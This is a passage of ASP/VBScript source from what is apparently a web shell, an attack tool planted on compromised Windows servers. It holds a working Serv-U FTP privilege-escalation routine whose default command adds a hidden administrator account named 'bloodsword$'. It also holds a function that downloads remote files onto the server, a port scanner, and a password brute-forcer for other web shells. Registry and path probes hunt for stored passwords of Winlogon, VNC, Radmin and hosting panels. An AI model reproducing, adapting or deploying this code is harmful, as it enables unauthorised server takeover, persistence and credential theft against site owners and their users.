2522			End If
2523		Next
2524		chkerr(Err)
2525	End Sub
2526	Sub doFileLink(sPath,typpe)
2527		Dim strAction
2528		If typpe="fso"Then
2529			strAction="FsoFileExplorer"
2530		Else
2531			strAction="SaFileExplorer"
2532		End If
2533		echo"<li><u>"&sPath&"</u>"
2534		doSubHref strAction,"showEdit",doPathFormat(sPath),"Edit",""
2535		Response.Flush()
2536	End Sub
2537	Sub PageServUp()
2538		If Not isDebugMode Then On Error Resume Next
2539		Dim ftpDomain
2540		ftpDomain="darkblade"
2541		loginuser="User "&suUser&vbCrLf
2542		loginpass="Pass "&suPass&vbCrLf
2543		deldomain="-DELETEDOMAIN"&vbCrLf&"-IP=0.0.0.0"&vbCrLf&" PortNo="&nport&vbCrLf
2544		mt="SITE MAINTENANCE"&vbCrLf
2545		newdomain="-SetDOMAIN"&vbCrLf&"-Domain="&ftpDomain&"|0.0.0.0|"&nport&"|-1|1|0"&vbCrLf&"-TZOEnable=0"&vbCrLf&" TZOKey="&vbCrLf
2546		newuser="-SetUSERSetUP"&vbCrLf&"-IP=0.0.0.0"&vbCrLf&"-PortNo="&nport&vbCrLf&"-User="&nuser&vbCrLf&"-Password="&npass&vbCrLf&_
2547				"-HomeDir="&Gpath()&"\\"&vbCrLf&"-LoginMesFile="&vbCrLf&"-Disable=0"&vbCrLf&"-RelPaths=1"&vbCrLf&_
2548				"-NeedSecure=0"&vbCrLf&"-HideHidden=0"&vbCrLf&"-AlwaysAllowLogin=0"&vbCrLf&"-ChangePassword=0"&vbCrLf&_
2549				"-QuotaEnable=0"&vbCrLf&"-MaxUsersLoginPerIP=-1"&vbCrLf&"-SpeedLimitUp=0"&vbCrLf&"-SpeedLimitDown=0"&vbCrLf&_
2550				"-MaxNrUsers=-1"&vbCrLf&"-IdleTimeOut=600"&vbCrLf&"-SessionTimeOut=-1"&vbCrLf&"-Expire=0"&vbCrLf&"-RatioUp=1"&vbCrLf&_
2551				"-RatioDown=1"&vbCrLf&"-RatiosCredit=0"&vbCrLf&"-QuotaCurrent=0"&vbCrLf&"-QuotaMaximum=0"&vbCrLf&_
2552				"-Maintenance=System"&vbCrLf&"-PasswordType=Regular"&vbCrLf&"-Ratios=None"&vbCrLf&" Access="&Gpath()&"\\|RWAMELCDP"&vbCrLf
2553		suquit="QUIT"&vbCrLf
2554		showTitle("Serv-U FTP Exp")
2555		Select Case subAct
2556			Case "1"
2557				doSuStep1
2558			Case "2"
2559				doSuStep2
2560			Case "3"
2561				doSuStep3
2562			Case "4"
2563				doSuForm2
2564			Case "5"
2565				doSuForm3
2566			Case Else
2567			If IsObject(Session("a"))Then Session("a").abort
2568			If IsObject(Session("b"))Then Session("b").abort
2569			If IsObject(Session("c"))Then Session("c").abort
2570			Set Session("a")=Nothing
2571			Set Session("b")=Nothing
2572			Set Session("c")=Nothing
2573				doForm True
2574				doHidden "subAct",1
2575				echo"<center><b>Add Temp Domain</b><br>"
2576				doTable "80%"
2577				doTr 1
2578				doTd"Local user","20%"
2579				doTdInput"text","suUser","LocalAdministrator","30%","",""
2580				doTd"Local pass","20%"
2581				doTdInput"text","suPass","#l@$ak#.lk;0@P","30%","",""
2582				doTtr
2583				doTr 0
2584				doTd" Local port",""
2585				doTdInput"text","suPort","43958","","",""
2586				doTd"Sys drive",""
2587				doTdInput"text","suPath",Gpath(),"","",""
2588				doTtr
2589				doTr 1
2590				doTd"New user",""
2591				doTdInput"text","nuser","go","","",""
2592				doTd"New pass",""
2593				doTdInput"text","npass","od","","",""
2594				doTtr
2595				doTr 0
2596				doTd"New port",""
2597				doTdInput"text","nport","60000","","",""
2598				echo"<td>"
2599				doSubmit"Go"
2600				echo"</td><td>"
2601				doInput"reSet","","ReSet","",""
2602				echo"</td></tr>"
2603				doTtable
2604				echo"</center>"
2605				doFform
2606		End Select
2607		echo"<hr>"
2608		echo"<center>"
2609		doTable "80%"
2610		doTr 1
2611		echo"<td>"
2612		doSubHref goaction,"","","Add domain",""
2613		echo"</td>"
2614		echo"<td>"
2615		doSubHref goaction,4,"","Exec cmd",""
2616		echo"</td>"
2617		echo"<td>"
2618		doSubHref goaction,5,"","Clean domain",""
2619		echo"</td>"
2620		doTtr
2621		doTtable
2622		echo"</center>"
2623		doFin
2624	End Sub
2625	Sub doSuStep1()
2626		If Not isDebugMode Then On Error Resume Next
2627		Set a=CreateObj("Microsoft.XMLHTTP")
2628		a.open"GET","http://127.0.0.1:"&suPort&"/goldsun/upadmin/s1",True,"",""
2629		a.send loginuser&loginpass&mt&deldomain&newdomain&newuser&suquit
2630		Set Session("a")=a
2631		errMsgAdd"Connecting 127.0.0.1:"&suPort&" using "&suUser&",pass:"&suPass&"..."
2632		doSuForm2
2633	End Sub
2634	Sub doSuStep2()
2635		If Not isDebugMode Then On Error Resume Next
2636		doSuForm2()
2637		Set b=CreateObj("Microsoft.XMLHTTP")
2638		b.open"GET","http://"&getServerVariable("LOCAL_ADDR")&":"&nport&"/goldsun/upadmin/s2",False,"",""
2639		b.send"User "&nuser&vbCrLf&"pass "&npass&vbCrLf&"site exec "&suCmd&vbCrLf&suquit
2640		Set Session("b")=b
2641		errMsgAdd"Executing command..."
2642		echoLine"<hr><center><div class='alt1Span' style='width:80%;text-align:left'><br>"
2643		echoLine Replace(b.ResponseText,chr(10),"<br>")&"</div></center>"
2644	End Sub
2645	Sub doSuStep3()
2646		If Not isDebugMode Then On Error Resume Next
2647		Set c=CreateObj("Microsoft.XMLHTTP")
2648		c.open "GET","http://127.0.0.1:"&suPort&"/goldsun/upadmin/s3",True,"",""
2649		c.send loginuser&loginpass&mt&deldomain&suquit
2650		Set Session("c")=c
2651		errMsgAdd"Temp domain deleted!"
2652		echo"<script language='javascript'>setTimeout(""dosubmit('"&goaction&"','','')"",""3000"");</script>"
2653	End Sub
2654	Function Gpath()
2655		If Not isDebugMode Then On Error Resume Next
2656		Gpath=Lcase(Left(objFso.GetSpecialFolder(0),2))
2657		If Gpath=""Then Gpath="c:"
2658	End Function
2659	Sub doSuForm2()
2660		If nuser=""Then nuser="go"
2661		If npass=""Then npass="od"
2662		If nport=""Then nport="60000"
2663		doForm True
2664		doHidden "subAct",2
2665		echo"<center><b>Execute Cmd</b><br>"
2666		doTable "80%"
2667		doTr 1
2668		doTd"Command",""
2669		doTdInput"text","suCmd","cmd /c net user bloodsword$ 0kee /add & net localgroup administrators bloodsword$ /add","","",3
2670		doTtr
2671		doTr 0
2672		doTd"Ftp user",""
2673		doTdInput"text","nuser",nuser,"","",""
2674		doTd"Ftp pass",""
2675		doTdInput"text","npass",npass,"","",""
2676		doTtr
2677		doTr 1
2678		doTd"Ftp port",""
2679		doTdInput"text","nport",nport,"","",""
2680		echo"<td>"
2681		doSubmit"Go"
2682		echo"</td><td>"
2683		doInput"reSet","","ReSet","",""
2684		echo"</td></tr>"
2685		doTtable
2686		echo"</center>"
2687		doFform
2688	End Sub
2689	Sub doSuForm3()
2690		doForm True
2691		doHidden "subAct",3
2692		echo"<center><b>Clean Temp Domain</b><br>"
2693		doTable "80%"
2694		doTr 1
2695		doTd"Local user","20%"
2696		doTdInput"text","suUser","LocalAdministrator","30%","",""
2697		doTd"Local pass","20%"
2698		doTdInput"text","suPass","#l@$ak#.lk;0@P","30%","",""
2699		doTtr
2700		doTr 0
2701		doTd"Local port",""
2702		doTdInput"text","suPort","43958","","",""
2703		doTd"Temp domain port",""
2704		doTdInput"text","nport","60000","","",""
2705		doTtr
2706		doTr 1
2707		echo"<td>"
2708		doSubmit"Go"
2709		echo"</td><td colspan='3'>"
2710		doInput"reSet","","ReSet","",""
2711		echo"</td></tr>"
2712		doTtable
2713		echo"</center>"
2714		doFform
2715	End Sub
2716
2717	Sub PageScan()
2718		If Not isDebugMode Then On Error Resume Next
2719		Dim theFolder
2720		showTitle"Asp Webshell Scanner"
2721		echo"Path : "
2722		doForm True
2723		doInput"text","thePath","/",50,""
2724		echo" "
2725		doSubmit"Scan"
2726		doChkBox"getInc",1," Get include files",""
2727		If thePath<>""Then
2728			If InStr(thePath,":\")<1 Then thePath=mapath(thePath)
2729			echo"<hr>"
2730			Response.Flush()
2731			doUl
2732			Set theFolder=objFso.GetFolder(thePath)
2733			doScan(theFolder)
2734			Set theFolder=Nothing
2735			echo"</ul>"
2736		End If
2737		doFin
2738	End Sub
2739	Sub doScan(theFolder)
2740		If Not isDebugMode Then On Error Resume Next
2741		Server.ScriptTimeOut=5000
2742		Dim shellObjLst,funcLst,ext,objName,funcs,needScan,strInclude,theFile,content,echoed
2743		shellObjLst="Wscript.Shell|Wscript.Shell.1|Shell.Application|Shell.Application.1|clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8|clsid:13709620-C279-11CE-A49E-444553540000"
2744		funcLst="Wscript.Shell;Run,Exec,RegRead|Shell.Application;ShellExecute|Scripting.FileSystemObject;CreateTextFile,OpenTextFile,SavetoFile"
2745		For Each objFile In theFolder.Files
2746			echoed=False
2747			needScan=False
2748			ext=Lcase(getRight(objFile.Name,"."))
2749			If regTest(ext,"^("&aspExt&")$") Then
2750				content=fsoRead(objFile.Path)
2751				strInclude=""
2752				For Each strObj In Split(shellObjLst,"|")
2753					If InStr(1,content,strObj,1)>0 Then
2754						doScanReport objFile,"Object with risk : <font color=""red"">"&strObj&"</font>"
2755						echoed=True
2756					End If
2757				Next
2758				For Each strFunc In Split(funcLst,"|")
2759					objName=getLeft(strFunc,";",True)
2760					funcs=getRight(strFunc,";")
2761					For Each subFunc In Split(funcs,",")
2762						If regTest(content,"\."&subFunc&"\b") Then
2763							doScanReport objFile,"Called object <font color=""red"">"&objName&"'s "&subFunc&"</font> Function"
2764							echoed=True
2765						End If
2766					Next
2767				Next
2768				If regTest(content,"Set\s*.*\s*=\s*server\s")Then
2769					doScanReport objFile,"Found Set xxx=Server"
2770					echoed=True
2771				End If
2772				If regTest(content,"server.(execute|Transfer)([ \t]*|\()[^""]\)")Then
2773					doScanReport objFile,"Found <font color=""red"">Server.Execute / Transfer()</font> Function"
2774					echoed=True
2775				End If
2776				If regTest(content,"\bLANGUAGE\s*=\s*[""]?\s*(vbscript|jscript|javascript)\.encode\b")Then
2777					doScanReport objFile,"<font color=""red"">Script encrypted</font>"
2778					echoed=True
2779				End If
2780				If regTest(content,"<script\s*(.|\n)*?runat\s*=\s*""?server""?(.|\n)*?>")Then
2781					doScanReport objFile,"Found <font color=""red"">"&htmlEnc("<script runat=""server"">")&"</font>"
2782					echoed=True
2783				End If
2784				If regTest(content,"[^\.]\bExecute\b")Then
2785					doScanReport objFile,"Found <font color=""red"">Execute()</font> Function"
2786					echoed=True
2787				End If
2788				If regTest(content,"[^\.]\bExecuteGlobal\b")Then
2789					doScanReport objFile,"Found <font color=""red"">ExecuteGlobal()</font> Function"
2790					echoed=True
2791				End If
2792				If getInc=1 Then strInclude=regExecute(content,"<!--\s*#include\s+(file|virtual)\s*=\s*.*-->",False)(0)
2793				If strInclude<>""Then
2794					strInclude=regExecute(strInclude,"[/\w]+\.[\w]+",False)(0)
2795					If strInclude=""Then 
2796						doScanReport objFile,"Can't get include file"
2797						echoed=True
2798					Else
2799						doScanReport objFile,"Included file <font color=""blue"">"&strInclude&"</font>"
2800						echoed=True
2801					End If
2802				End If
2803			End If
2804			If echoed Then
2805				echo"<hr>"
2806				Response.Flush()
2807			End If
2808		Next
2809		For Each objFolder In theFolder.SubFolders
2810			doScan(objFolder)
2811		Next
2812		chkerr(Err)
2813	End Sub
2814	Sub doScanReport(objFile,plus)
2815		echoLine"<li><u>"
2816		doSubHref "FsoFileExplorer","showEdit",doPathFormat(objFile.Path),objFile.Path,""
2817		echoLine"</u><font color=#9900FF>"&objFile.DateLastModIfied&"</font>-<font color=#009966>"&getTheSize(objFile.size)&"</font>-"&plus&"</li>"
2818		Response.Flush()
2819	End Sub
2820
2821	Sub PageOtherTools()
2822		If Not isDebugMode Then On Error Resume Next
2823		If thePath=""Then thePath=aspPath
2824		Dim commPath,regPaths
2825		regPaths=regPath
2826		commPath=chkPath
2827		If regPaths=""Then regPaths=Replace("HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName\ComputerName|HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoAdminLogon|HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\DefaultUserName|HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\DefaultPassword|HKLM\SYSTEM\CurrentControlSet\Services\Serv-U-Counters\Performance\Library|HKLM\SYSTEM\CurrentControlSet\Services\Serv-U\ImagePath|HKLM\SOFTWARE\Cat Soft\Serv-U\Domains\DomainList\DomainList|HKLM\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter|HKLM\SYSTEM\RAdmin\v2.0\Server\Parameters\Port|HKLM\SYSTEM\RAdmin\v2.0\Server\Parameters\NTAuThenabled|HKLM\SYSTEM\RAdmin\v2.0\Server\Parameters\FilterIp|HKLM\SYSTEM\RAdmin\v2.0\Server\iplist\0|HKLM\SOFTWARE\ORL\WinVNC3\default\Password|HKLM\SOFTWARE\RealVNC\WinVNC4\Password|HKLM\SOFTWARE\hzhost\config\Settings\mysqlpass|HKLM\software\hzhost\config\Settings\mastersvrpass|HKLM\software\hzhost\config\Settings\sysdbpss","|",Chr(13)&Chr(10))
2828
2829		If commPath=""Then commPath=Replace("x:\|x:\Program Files|x:\Program Files\Serv-u|x:\Program Files\RhinoSoft.com|x:\Program Files\Radmin|x:\Program Files\Mysql|x:\Program Files\mail|x:\Program Files\winwebmail|x:\Documents and Settings\All Users|x:\Documents and Settings\All Users\Documents|x:\Documents and Settings\All Users\Start Menu\Programs|x:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere|x:\Serv-U|x:\Radmin|x:\Mysql|x:\mail|x:\winwebmail|x:\soft|x:\tools|x:\windows\temp","|",Chr(13)&Chr(10))
2830		showTitle"Action Others"
2831		doForm True
2832		doHidden"subAct","downToServer"
2833		echoLine"<b>Download to server</b><br>"
2834		doTable"100%"
2835		doTr 1
2836		doTdInput"text","targetUrl","http://","80%","",""
2837		doTdSubmit"Download","20%"
2838		doTtr
2839		doTr 0
2840		doTdInput"text","thePath",thePath,"","",""
2841		echo"<td>"
2842		doChkBox"overWri",2,"Overwrite",""
2843		doTtr
2844		doTtable
2845		doFform
2846		echo"<hr>"
2847		doForm True
2848		doHidden"subAct","scanPort"
2849		echoLine"<b>Port scan</b><br>"
2850		doTable"100%"
2851		doTr 1
2852		doTd"Scan IP","20%"
2853		doTdInput"text","ipList","127.0.0.1","60%","",""
2854		doTdSubmit"Scan","20%"
2855		doTtr
2856		doTr 0
2857		doTd"Port List","20%"
2858		doTdInput"text","portList","21,23,80,1433,1521,3306,3389,4899,43958,65500","80%","",2
2859		doTtr
2860		doTtable
2861		doFform
2862		echo"<hr>"
2863		doForm True
2864		doHidden"subAct","crackShell"
2865		echoLine"<b>Mini shell crack</b><br>"
2866		doTable"100%"
2867		doTr 1
2868		doTd"Url","20%"
2869		doTdInput"text","targetUrl","http://","60%","",""
2870		doTdSubmit"Start","20%"
2871		doTtr
2872		doTr 0
2873		doTd"Dic","20%"	
2874		doTdInput"text","dicList","value,cmd,admin,fuck,123456,#,|,a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z,~,!,@,*,$,1,2,3,4,5,6,7,8,9,0","","",""
2875		echo"<td>"
2876		doSelect"shellenv","60px",""
2877		doOption"asp","asp"
2878		doOption"php","php"
2879		doSselect
2880		echo"</td>"
2881		doTtr
2882		doTtable
2883		doFform
2884		echo"<hr>"
2885		doForm True
2886		doHidden"subAct","chkFolder"
2887		echoLine"<b>Common path probe</b><br>"
2888		doTable"100%"
2889		doTr 1
2890		doTdText"chkPath",commPath,6
2891		doTdSubmit"Start","20%"
2892		doTtr
2893		doTtable
2894		doFform
2895		echo"<hr>"
2896		doForm True
2897		doTable"100%"
2898		doHidden"subAct","chkReg"
2899		echoLine"<b>Registry probe</b><br>"
2900		doTable"100%"
2901		doTr 1
2902		doTdText"regPath",regPaths,6
2903		doTdSubmit"Start","20%"
2904		doTtr
2905		doTtable
2906		doFform
2907		echo"<hr>"
2908		Select Case subAct
2909			Case"downToServer"
2910				echo"<hr>"
2911				doDownToServer()
2912			Case"chkReg"
2913				echo"<hr>"
2914				doChkReg()
2915			Case"scanPort"
2916				echo"<hr>"
2917				doScanPort()
2918			Case"crackShell"
2919				echo"<hr>"
2920				doCrackShell()
2921			Case"chkFolder"
2922				echo"<hr>"
2923				doChkFolder()
2924		End Select
2925	End Sub
2926	Sub doDownToServer()
2927		If Not isDebugMode Then On Error Resume Next
2928		Dim reFileName,tmpContent
2929		Set objStream=CreateObj("Adodb.Stream")
2930		reFileName=getRight(targetUrl,"/")
2931		If InStr(thePath,".")<1 Then thePath=thePath&"\"&reFileName
2932		objXml.Open"GET",targetUrl,False
2933		objXml.send
2934		dieErr(Err)
2935		If overWri<>2 Then
2936			overWri=1
2937		End If
2938		With objStream
2939			.Type=1
2940			.Mode=3
2941			.Open
2942			.Write objXml.ResponseBody
2943			.Position=0
2944			objStream.SavetoFile thePath,overWri
2945			.Close
2946		End With
2947		If Err Then
2948			chkerr(Err)
2949		Else
2950			echo"Download succeeded"
2951		End If
2952	End Sub
2953	Sub doChkReg()
2954		If Not isDebugMode Then On Error Resume Next
2955		Dim RegResult
2956		echo"Registry key detected will be shown below:<br>"
2957		doTable "100%"
2958		trId=1
2959		doTh
2960		doTd"<b>Key</b>",""
2961		doTd"<b>Value</b>",""
2962		doTtr
2963		For Each subPath In Split(regPath,Chr(13)&Chr(10))
2964			RegResult=ReadReg(subPath)
2965			If RegResult<>"" Then
2966				doTr trId
2967				doTd subPath,""
2968				doTd RegResult,""
2969				doTtr
2970				trIdAdd
2971			End If
2972		Next
2973		doTtable
2974	End Sub
2975	Function ReadReg(rpath)
2976		Dim regArray,regResult
2977		If Not isDebugMode Then On Error Resume Next
2978		regArray=objWs.RegRead(rpath)
2979		If IsArray(regArray)Then
2980			regResult=""
2981			For i=0 To UBound(regArray)
2982				If IsNumeric(regArray(i))Then
2983					If CInt(regArray(i))<16 Then
2984						RegResult=RegResult&"0"
2985					End If
2986					regResult=RegResult&CStr(Hex(CInt(regArray(i))))
2987				Else
2988					regResult=RegResult&regArray(i)
2989				End If
2990			Next
2991			ReadReg=regResult
2992		Else
2993			ReadReg=regArray
2994		End If
2995	End Function
2996	Sub doScanPort()
2997		If Not isDebugMode Then On Error Resume Next
2998		If Not regTest(ipList,"^((\d{1,3}\.){3}(\d{1,3}),)*(\d{1,3}\.){3}(\d{1,3})$")Then
2999			echo "Invalid IP format"
3000			doFin
3001		End If
3002		If Not regTest(portList,"^(\d{1,5},)*\d{1,5}$")Then
3003			echo "Invalid port format"
3004			doFin
3005		End If
3006		echo "Scanning...<br>"
3007		Response.Flush()
3008		For Each tmpip In Split(ipList,",")
3009			For Each tmpPort In Split(portList,",")
3010				doPortScan tmpip,tmpPort
3011			Next
3012		Next
3013	End Sub
3014	Sub doPortScan(targetip,portNum)
3015		On Error Resume Next
3016		Dim conn,connstr
3017		Set conn=CreateObj("ADODB.connection")
3018		connstr="Provider=SQLOLEDB.1;Data Source="&targetip&","&portNum&";User ID=lake2;Password=lake2;"
3019		conn.ConnectionTimeout=1
3020		conn.open connstr
3021		If Err Then
3022			If Err.number=-2147217843 or Err.number=-2147467259 Then
3023				If InStr(Err.description,"(Connect()).")>0 Then
3024					echo"<label>"&targetip&":"&portNum&"</label><label>close</label><br>"
3025				Else
3026					echo"<label>"&targetip&":"&portNum&"</label><label><font color=red>open</font></label><br>"
3027				End If
3028				Response.Flush()
3029			End If
3030		End If
3031	End Sub
3032	Sub doCrackShell()
3033		If Not isDebugMode Then On Error Resume Next
3034		echo"Cracking...<br>"
3035		Response.Flush()
3036		For Each strPass In Split(dicList,",")
3037			If shellenv="asp"Then
3038				strpam=UrlEnc(strPass)&"="&UrlEnc("response.write 98611")
3039			Else
3040				strpam=UrlEnc(strPass)&"="&UrlEnc("echo 98611;")
3041			End If
3042			If InStr(xmlGet(targetUrl&"?"&strpam,"POST"),"98611")>0 Then
3043				echo"Password is <font color=red>"&strPass&"</font> ^_^"
3044				doFin
3045			End If
3046		Next
3047		echo"Crack failed,RPWT?"
3048		chkerr(Err)
3049	End Sub
3050	Sub doChkFolder()
3051		If Not isDebugMode Then On Error Resume Next
3052		Dim subChkPath,spanId
3053		echo"Path detected will be shown below:<br>"
3054		chkPath=Replace(chkPath,"x:\","")
3055		spanId=1
3056		For Each drive In objFso.Drives
3057			For Each subPath In Split(chkPath,Chr(13)&Chr(10))
3058				subChkPath=drive.DriveLetter&":\"&subPath
3059				If objFso.FolderExists(subChkPath)Then
3060					doSpan spanId
3061					doSubHref "FsoFileExplorer","",doPathFormat(subChkPath),subChkPath,""
3062					echo"</span>"
3063					spanId=spanId+1
3064					If spanId=2 Then spanId=0
3065					rsTable.MoveNext
3066					Response.Flush()
3067				End If
3068			Next
3069		Next
3070		chkErr(Err)
3071	End Sub
3072
3073	Sub PagedoLogout()
3074		Response.Cookies(cookiePass)=""
3075		Response.Redirect(pagePath&"?goaction="&showLogin)
3076	End Sub
3077
3078	Sub showTitle(strTitle)
3079	%>
3080	<html>
3081		<head>
3082			<title><%=sversion%></title>
3083			<style type="text/css">
3084				body,td{font: 12px Arial,Tahoma;line-height: 16px;}
3085				.main{width:100%;padding:20px 20px 20px 20px;}
3086				.hidehref{font:12px Arial,Tahoma;color:#646464;}
3087				.showhref{font:12px Arial,Tahoma;color:#0099FF;}
3088				.input{font:12px Arial,Tahoma;background:#fff;height:20px;BORDER-WIDTH:1px;}
3089				.text{font:12px Arial,Tahoma;background:#fff;padding:1px;BORDER-WIDTH:1px;}
3090				.tdInput{font:12px Arial,Tahoma;background:#fff;padding:1px;height:20px;width:100%;BORDER-WIDTH:1px;}
3091				.tdText{font:12px Arial,Tahoma;background:#fff;padding:1px;width:100%;BORDER-WIDTH:1px;}
3092				.area{font:12px 'Courier New',Monospace;background:#fff;border: 1px solid #666;padding:2px;}
3093				a{color: #00f;text-decoration:underline;}
3094				a:hover{color: #f00;text-decoration:none;}
3095				.alt1Span{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ededed;padding:2px 10px 2px 5px;width:100%;height:28px}
3096				.alt0Span{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#fafafa;padding:2px 10px 2px 5px;width:100%;height:28px}
3097				.link td{border-top:1px solid #fff;border-bottom:1px solid #ccc;background:#e8e8e8;padding:5px 10px 5px 5px;}
3098				.alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ededed;padding:2px 10px 2px 5px;height:28px}
3099				.alt0 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#fafafa;padding:2px 10px 2px 5px;height:28px}
3100				.focusTr td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ddddff;padding:2px 10px 2px 5px;height:28px}
3101				.head td{border-top:1px solid #ccc;border-bottom:1px solid #bbb;background:#e0e0e0;padding:5px 10px 5px 5px;font-weight:bold;}
3102				.headSpan{border-top:1px solid #fff;margin:2;background:#e0e0e0;width:100%;}
3103				form{margin:0;padding:0;}
3104				.bt{border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:23px;padding:3px 5px 5px 5px;}
3105				h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
3106				ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
3107				u{text-decoration: none;color:#777;float:left;display:block;width:50%;margin-right:10px;}
3108				label{font:12px Arial,Tahoma;float:left;width:20%;}
3109				.lbl{font:12px Arial,Tahoma;float:none;width:auto;}
3110			</style>
3111			<script language="javascript">
3112				function showHideMe(obj){
3113					var sender=event.srcElement;
3114					if(obj.style.display=='none'){
3115						obj.style.display='';
3116						sender.className='showhref';
3117					}else{
3118						obj.style.display='none';
3119						sender.className='hidehref';
3120					}
3121				}
3122			</script>
3123			<script language="vbscript">
3124				Function dosubmit(strAction,strSubAct,Str)
3125					On Error Resume Next
3126					Dim renStr
3127					actForm.goaction.value=strAction
3128					actForm.subAct.value=strSubAct
3129					If(strAction="FsoFileExplorer"Or strAction="SaFileExplorer")And InStr(Str,":\")<1 And Str<>"" Then Str=nowPath.value&Str
3130					actForm.pubPam.value=secretEncode(Str)
3131					Select Case strSubAct
3132						Case"fileUpload"
3133							doEncode("upform")
3134							upform.submit()
3135						Case"safile"
3136							doEncode("saform")
3137							saform.submit()
3138						Case"cpFolder","mvFolder","mvFile","cpFile","rnFile","rnFolder","modIfyTime"
3139							Select Case strSubAct
3140								Case"mvFile","mvFolder"
3141									renStr=InputBox("Move to :","Move",Left(Str,InstrRev(Str,"\")))
3142								Case"cpFile","cpFolder"
3143									renStr=InputBox("Copy to :","Copy",Left(Str,InstrRev(Str,"\")))
3144								Case"rnFile","rnFolder"
3145									renStr=InputBox("Rename as :","Rename",Mid(Str,InstrRev(Str,"\")+1))
3146									If strSubAct="rnFile"Then
3147										Do While InStr(renStr,".")<1 And renStr<>""
3148											renStr=InputBox("Invalid file name format!","Rename","")
3149										Loop
3150									End If
3151								Case Else
3152									renStr=InputBox("ModIfy as :","ModIfy time","")
3153							End Select
3154							If renStr=""Then Exit Function
3155							actForm.pubPam.value=secretEncode(Str&"|"&renStr)
3156							actForm.submit()
3157						Case"delFile","delFolder"
3158							If Window.confirm("Delete it?Are you sure?")Then actForm.submit()
3159						Case Else
3160							actForm.submit()
3161					End Select
3162				End Function
3163				Function secretEncode(pamToEn)
3164					If Not <%=needEncode%> Or pamToEn=""Then
3165						secretEncode=pamToEn
3166						Exit Function
3167					End If
3168					Dim tt,tmpchr
3169					tt=""
3170					For i=1 To Len(pamToEn)
3171						tmpchr=Mid(pamToEn,i,1)
3172						If Asc(tmpchr)<128 And Asc(tmpchr)>0 Then
3173							tt=tt&Asc(tmpchr)+<%=encodeNum%>&"<%=encodeCut%>"
3174						Else
3175							tt=tt&tmpchr&"<%=encodeCut%>"
3176						End If
3177					Next
3178					secretEncode=Left(tt,Len(tt)-1)
3179				End Function
3180				Function doEncode(formId)
3181					On Error Resume Next
3182					Dim pamArr
3183					pamArr=Split("<%=pamtoEncode%>","|")
3184					For Each strPam In pamArr
3185						On Error Resume Next:Execute formId&"."&strPam&".value=secretEncode("&formId&"."&strPam&".value)"
3186					Next
3187				End Function
3188				Function dosqlsubmit(strSubAct,connStr,queryStr,strTable,intPage)
3189					sqlForm.subAct.value=strSubAct
3190					If strSubAct="delTable"Then
3191						If Not Window.confirm("Delete this table?Are you sure?")Then Exit Function
3192					End If
3193					If connStr<>""Then
3194						If InStr(1,connStr,"PROVIDER=",1)<1 Then connStr="<%=getJetStr("")%>"&nowPath.value&connStr
3195						sqlForm.connStr.value=connStr
3196					End If
3197					'If strTable<>""And <%=dbType<>"others"%> Then strTable="["&strTable&"]"
3198					sqlForm.connStr.value=secretEncode(sqlForm.connStr.value)
3199					sqlForm.queryStr.value=secretEncode(queryStr)
3200					sqlForm.strTable.value=secretEncode(strTable)
3201					sqlForm.intPage.value=intPage
3202					sqlForm.submit()
3203				End Function
3204				Function getconnStr(server,user,pass,db)
3205					form1.connStr.value="PROVIDER=SQLOLEDB;DATA SOURCE="&server&";UID="&user&";PWD="&pass&";DATABASE="&db&""
3206				End Function
3207				Function getAccStr(dbpath)
3208					form1.connStr.value="<%=getJetStr("")%>"&dbpath
3209				End Function
3210				Function decpams()
3211					'On Error Resume Next
3212					Dim subobj,regex
3213					Set regex=new RegExp
3214					regex.Global=True
3215					regex.IgnoreCase=True
3216					regex.MultiLine=True
3217					regex.Pattern="^((\d+|.)<%=encodeCut%>)+(\d+|.)$"
3218					For Each subForm In Document.Forms
3219						For Each subobj In subForm.Elements
3220							If InStr("|<%=pamtoEncode%>|","|"&subobj.id&"|")>0 And regEx.Test(subobj.value)Then subobj.value=secretDecode(subobj.value)
3221						Next
3222					Next
3223				End Function
3224				Function secretDecode(pamToDecode)
3225					If Not <%=needEncode%> Or pamToDecode=""Then
3226						secretDecode=pamToDecode
3227						Exit Function
3228					End If
3229					Dim dd,tmpArr
3230					dd=""
3231					tmpArr=Split(pamToDecode,"<%=encodeCut%>")
3232					For i=0 To UBound(tmpArr)
3233						If IsNumeric(tmpArr(i))Then
3234							dd=dd&Chr(CInt(tmpArr(i))-<%=encodeNum%>)
3235						Else
3236							dd=dd&tmpArr(i)
3237						End If
3238					Next
3239					secretDecode=dd
3240				End Function
3241			</script>
3242		</head>
3243		<body style="margin:0;table-layout:fixed; word-break:break-all;"bgcolor="#f9f9f9">
3244			<table width="100%"border="0"cellpadding="0"cellspacing="0">
3245				<tr class="head">
3246					<td style="width:30%"><br><%=getServerVariable("LOCAL_ADDR")&"("&serverName&")"%></td>
3247					<td align="center" style="width:40%"><br>
3248						<b><%doFont sversion,"#0099FF","3"%></b><br>
3249					</td>
3250					<td style="width:30%"align="right"><%=getAds()%></td>
3251				</tr>
3252		<form id="actForm"method="post"action="<%=pagePath%>">
3253			<input type="hidden" id="goaction" name="goaction" value="">
3254			<input type="hidden" id="subAct" name="subAct" value="">
3255			<input type="hidden" id="pubPam" name="pubPam" value="">
3256		</form>
3257		<form id="sqlForm"method="post"action="<%=pagePath%>">
3258			<input type="hidden" id="goaction" name="goaction" value="MsDataBase">
3259			<input type="hidden" id="subAct" name="subAct" value="">
3260			<input type="hidden" id="connStr" name="connStr" value="<%=connStr%>">
3261			<input type="hidden" id="queryStr" name="queryStr" value="">
3262			<input type="hidden" id="strTable" name="strTable" value="">
3263			<input type="hidden" id="intPage" name="intPage" value="">
3264		</form>
3265<%
3266		If logged Then
3267%>
